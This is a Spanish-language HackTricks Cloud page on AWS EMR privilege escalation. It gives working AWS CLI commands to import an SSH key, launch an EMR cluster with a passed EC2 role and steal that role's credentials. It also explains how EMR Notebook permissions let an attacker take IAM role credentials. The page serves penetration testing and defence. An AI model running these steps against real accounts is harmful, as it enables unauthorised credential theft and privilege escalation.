AWS - EMR Privesc
Tip
Aprende y practica AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Consulta los subscription plans!
- Únete al 💬 Discord group o al telegram group o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud github repos.
EMR
Más info sobre EMR en:
iam:PassRole, elasticmapreduce:RunJobFlow
Un atacante con estos permisos puede ejecutar un nuevo clúster EMR adjuntando roles de EC2 y tratar de robar sus credenciales.
Ten en cuenta que para hacer esto necesitarías conocer alguna ssh priv key importada en la cuenta o importar una, y poder abrir el puerto 22 en el nodo master (podrías ser capaz de hacer esto con los atributos EmrManagedMasterSecurityGroup y/o ServiceAccessSecurityGroup dentro de --ec2-attributes).
# Import EC2 ssh key (you will need extra permissions for this)
ssh-keygen -b 2048 -t rsa -f /tmp/sshkey -q -N ""
chmod 400 /tmp/sshkey
base64 /tmp/sshkey.pub > /tmp/pub.key
aws ec2 import-key-pair \
--key-name "privesc" \
--public-key-material file:///tmp/pub.key
aws emr create-cluster \
--release-label emr-5.15.0 \
--instance-type m4.large \
--instance-count 1 \
--service-role EMR_DefaultRole \
--ec2-attributes InstanceProfile=EMR_EC2_DefaultRole,KeyName=privesc
# Wait 1min and connect via ssh to an EC2 instance of the cluster)
aws emr describe-cluster --cluster-id <id>
# In MasterPublicDnsName you can find the DNS to connect to the master instance
## You cna also get this info listing EC2 instances
Observe cómo se especifica un EMR role en --service-role y un ec2 role en --ec2-attributes dentro de InstanceProfile. Sin embargo, esta técnica solo permite robar las credenciales del role EC2 (ya que te conectarás via ssh) pero no el IAM Role de EMR.
Impacto potencial: Privesc al EC2 service role especificado.
elasticmapreduce:CreateEditor, iam:ListRoles, elasticmapreduce:ListClusters, iam:PassRole, elasticmapreduce:DescribeEditor, elasticmapreduce:OpenEditorInConsole
Con estos permisos un atacante puede ir a la AWS console, crear un Notebook y acceder a él para robar el IAM Role.
Caution
Incluso si adjuntas un IAM role a la instancia del notebook, en mis pruebas observé que pude robar AWS managed credentials y no las credenciales relacionadas con el IAM role adjunto.
Impacto potencial: Privesc to AWS managed role arn:aws:iam::420254708011:instance-profile/prod-EditorInstanceProfile
elasticmapreduce:OpenEditorInConsole
Solo con este permiso un atacante podrá acceder al Jupyter Notebook y robar el IAM Role asociado a él.
La URL del notebook es https://<notebook-id>.emrnotebooks-prod.eu-west-1.amazonaws.com/<notebook-id>/lab/
Caution
Incluso si adjuntas un IAM role a la instancia del notebook, en mis pruebas observé que pude robar AWS managed credentials y no las credenciales relacionadas con el IAM role adjunto
Impacto potencial: Privesc to AWS managed role arn:aws:iam::420254708011:instance-profile/prod-EditorInstanceProfile
Tip
Aprende y practica AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Consulta los subscription plans!
- Únete al 💬 Discord group o al telegram group o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud github repos.
HackTricks Cloud

